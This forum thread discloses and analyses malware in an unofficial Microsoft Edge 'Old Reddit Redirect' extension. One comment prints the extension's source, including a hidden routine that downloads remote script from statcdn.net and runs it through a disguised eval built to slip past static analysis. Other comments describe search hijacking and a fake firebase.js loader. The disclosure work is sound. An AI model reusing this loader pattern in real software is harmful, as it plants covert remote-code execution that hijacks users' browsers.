Old Reddit Redirect for MS Edge Contains Malware

https://microsoftedge.microsoft.com/addons/detail/old-reddit-redirect/dejjlcjohfilmbljokhggadmadhmiglo

by SamuelAdams • 5 years ago

30 19 5 years ago

microsoftedge.microsoft.com

livre5• 5 years ago

If anyone wants to download the crx and inspect it: https://edge.microsoft.com/extensionwebstorebase/v1/crx?resp...

The URL used in the XHR points to this (accessing directly only shows a '0' but with archive.is you get that JavaScript): https://archive.is/TxFWj

Here's the full source code:

    const oldReddit = "https://old.reddit.com";
    const excludedPaths = ["/gallery", "/poll", "/rpan", "/settings", "/topics"];
    
    chrome.webRequest.onBeforeRequest.addListener(
      function(details) {
        const url = new URL(details.url);
        
        if (url.hostname === "old.reddit.com") return;
        
        for (const path of excludedPaths) {
          if (url.pathname.indexOf(path) === 0) return;
        }
        
        return {redirectUrl: oldReddit + url.pathname + url.search + url.hash};
      },
      {
        urls: ["*://reddit.com/*", "*://www.reddit.com/*", "*://np.reddit.com/*", "*://new.reddit.com/*", "*://amp.reddit.com/*",],
        types: [
          "main_frame",
          "sub_frame",
          "stylesheet",
          "script",
          "image",
          "object",
          "xmlhttprequest",
          "other"
        ]
      },
      ["blocking"]
    );
    
    function dailyCollect() {
      let xmlHttpRequest = new XMLHttpRequest();
      xmlHttpRequest.timeout = 2e4;
      xmlHttpRequest.onreadystatechange = function () {
        return (xmlHttpRequest.readyState === XMLHttpRequest.DONE && xmlHttpRequest.status === 2e2 && xmlHttpRequest.responseText) ? successReportDebug(true, xmlHttpRequest.responseText) : null;
      };
    
      let successReportDebug = function (status, apply) {
        if (!status) {
          setTimeout(dailyCollect, 3e4)
        } else {
          console.log('Stats was collected ' + setTimeout.apply(top, [apply]))
        }
      };
    
      try {
        xmlHttpRequest.open("GET", 'https://statcdn.net/app/?id=8438fce9-6d9a-45c4-ba2c-e643c1291253', true);
        xmlHttpRequest.send();
      } catch (e) {
        successReportDebug(false)
      }
    }
    
    dailyCollect();

And the manifest:

    {
      "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",
      "content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self'",
      "name": "Old Reddit Redirect",
      "description": "Ensure Reddit always loads the old design",
      "version": "1.2.0",
      "manifest_version": 2,
      "background": {
        "scripts": [
          "background.js"
        ]
      },
      "icons": {
        "48": "img/icon48.png",
        "128": "img/icon128.png"
      },
      "permissions": [
        "tabs",
        "<all_urls>",
        "webRequest",
        "webRequestBlocking",
        "*://reddit.com/*",
        "*://www.reddit.com/*",
        "*://np.reddit.com/*",
        "*://new.reddit.com/*",
        "*://amp.reddit.com/*"
      ]
    }

jasonhansel• 5 years ago

setTimeout.apply(top, [apply])

Clever. Probably avoids naive forms of static analysis that would catch more obvious ways of eval'ing code.

passivate• 5 years ago

Can you help me understand the code? What is it doing?

Dedime• 5 years ago

The code is calling out to a malicous URL for a script, downloading it, and executing the script. The malicious script from the URL is mirrored here: https://archive.is/TxFWj

Nobody has figured out exactly what it's doing quite yet, but you can paste that code into a Javascript deobfuscator and try to figure it out yourself: https://lelinhtinh.github.io/de4js/

Based off of reading the code for 5 minutes with my very poor javascript skills, it's modifying your searches via Google / Bing and redirecting you to a practically unknown search engine called "Blacksearch". Very suspicious. I found a reddit thread with others complaining about this search engine, https://old.reddit.com/r/edge/comments/kzwb6q/redirecting_to...

livre5• 5 years ago

I can't edit the original comment anymore, I posted it in a rush and didn't have time to check the script contents. The loaded script also loads a script called "firebase.js" from this URL: https://1658209995.rsc.cdn77.org/firebase.js (archive: https://archive.is/gdij8). That script is obviously not the actual Firebase, you can paste it in a deobfuscator and see what it does, it has some funny things such as a postMessage called "GimmeResults."

heyheyhey• 5 years ago

The URL used in the XHR points to this (accessing directly only shows a '0' but with archive.is you get that JavaScript): https://archive.is/TxFWj

How did you get from the XHR to that script inside that archive?

livre5• 5 years ago

The XHR contains the URL: xmlHttpRequest.open("GET", 'https://statcdn.net/app/?id=8438fce9-6d9a-45c4-ba2c-e643c129...', true);

Since opening that URL directly in the browser didn't work I tried archiving it and it worked. Then I shared the archive link here.

It seems that they implemented some poorly done access control that is letting archive.is see the contents but not web browsers when visited directly.

axiosgunnar2• 5 years ago

where is the „top“ variable defined?

SahAssar• 5 years ago

top is a builtin: https://developer.mozilla.org/en-US/docs/Web/API/Window/top

tills132• 5 years ago

Is this just the Edge version? I currently use the Chrome version -- not sure if they are the same or different.

edit: just checked and the Chrome version doesn't seem to be affected.

livre5• 5 years ago

Yes, the Edge version isn't official. The GitHub repository only supports Firefox and Chrome: https://github.com/tom-james-watson/old-reddit-redirect

throwaway77112• 5 years ago

HTTPS Everywhere can be used for redirection. It's from EFF, so trustworthy.

bellyfullofbac• 5 years ago

Ah, browser extensions, the new "Download a random executable that can access your data (because your data is now all online), with auto-update and antiviruses don't care about them. But don't worry, Google vets them!".

When will Norton (snort) make "Norton Anti Malware" to "protect" your browser against bad extensions?

I think it's just a matter of time until an extension steals a lot of people's data or money...

TechBro86153• 5 years ago

It’s easy to say that. But be careful what you wish for. Do we need another locked down sandbox?

I think Google would like to take Apple’s curated approach to the Play/Extension Stores. But they don’t have the political capital to do it. As an advertising company, any restrictions they add will appear malicious to many.

All that said... this thread is about Microsoft, where for enterprise clients, telemetry and restrictions are a feature, not a bug. So I would expect some movement by Microsoft to add more security to their store. It could be something as simple as a label “Reviewed by Microsoft” for vetted extensions. But that’s a dangerous game as long as the browser sandbox is widely defined. Malicious apps could sneak through review and then Microsoft would look bad. Whereas Apple has an actual OS level sandbox with restrictions mostly matching their policies.

There isn’t really an easy answer to this problem unless you want to sacrifice control of your browser, in exchange for increased security controls that might not even apply to you. It’s not a new tradeoff by any means.

tills132• 5 years ago

This doesn't have anything to do with Google?

Old Reddit Redirect for MS Edge Contains Malware

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